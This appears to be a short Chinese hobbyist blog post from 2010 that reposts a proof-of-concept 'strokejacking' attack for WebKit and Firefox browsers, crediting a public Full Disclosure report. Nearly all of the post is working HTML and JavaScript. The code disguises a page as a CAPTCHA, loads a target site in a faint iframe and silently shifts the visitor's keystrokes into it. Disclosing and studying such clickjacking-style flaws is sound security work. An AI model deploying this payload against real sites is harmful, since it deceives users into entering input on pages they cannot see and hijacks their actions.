CQ-CSER

计算机爱好者

strokejacking

Posted on | 三月 15, 2010 | No Comments

这个欺骗演示工作在WebKit内核的浏览器上。

POC:

<body onload=”document.getElementById(‘dummy’).focus()”>
<h3>Totally legitimate CAPTCHA page</h3>
<iframe src=”http://www.google.com/” id=victim name=victim style=”opacity: 0.2″ height=”20%” width=”80%”>
</iframe>
<script>
var need = [ 80, 79, 82, 78, 13 ];
var text = [ 'p', 'o', 'r', 'n', '' ];
var cur_pos = 0;
function maybe_redirect(e) {
var evt = window.event ? event : e;
var cc = evt.charCode ? evt.charCode : evt.keyCode;
if (cur_pos >= need.length || need[cur_pos] != cc) return;
if (window.netscape == undefined) {
document.getElementById(‘victim’).focus();
} else {
frames['victim'].focus();
}
document.getElementById(‘dummy’).value += text[cur_pos];
cur_pos++;
setTimeout(‘focus();document.getElementById(“dummy”).focus()’,1);

}
</script>
<p>
<span style=”border: 1px solid red; background-color: #FFFFC0; font-size: 20pt; padding: 5px”>opportunity</span>
<p>
Retype text from the image to authenticate, then hit RETURN:<br>
<input type=text onkeydown=”maybe_redirect(event)” id=dummy>
<p>
<font color=gray size=-1>PS. Can we call it “strokejacking”?</font><br>
<font color=gray size=-1>PPS. This version should work in Firefox 3.x, too. Enjoy.</font>

Demo:http://lcamtuf.coredump.cx/focus-webkit/

Info:http://seclists.org/fulldisclosure/2010/Mar/232

相关文章:

  1. 禁止右键代码
  2. 在WebForm上进行拖拽
  3. DIV移动
  4. Ajax实现页面loading效果
  5. 仿迅雷博客用户登陆弹出窗口

评论|Comments

留言|Leave a Reply





  • Archives

  • SUNSHINE

  • About

    本博客采用创作共用版权协议,要求署名、非商业用途和保持一致. 转载本博客内容也遵循“署名-非商业用途-保持一致”的创作共用协议.

    订阅

    Search

    Admin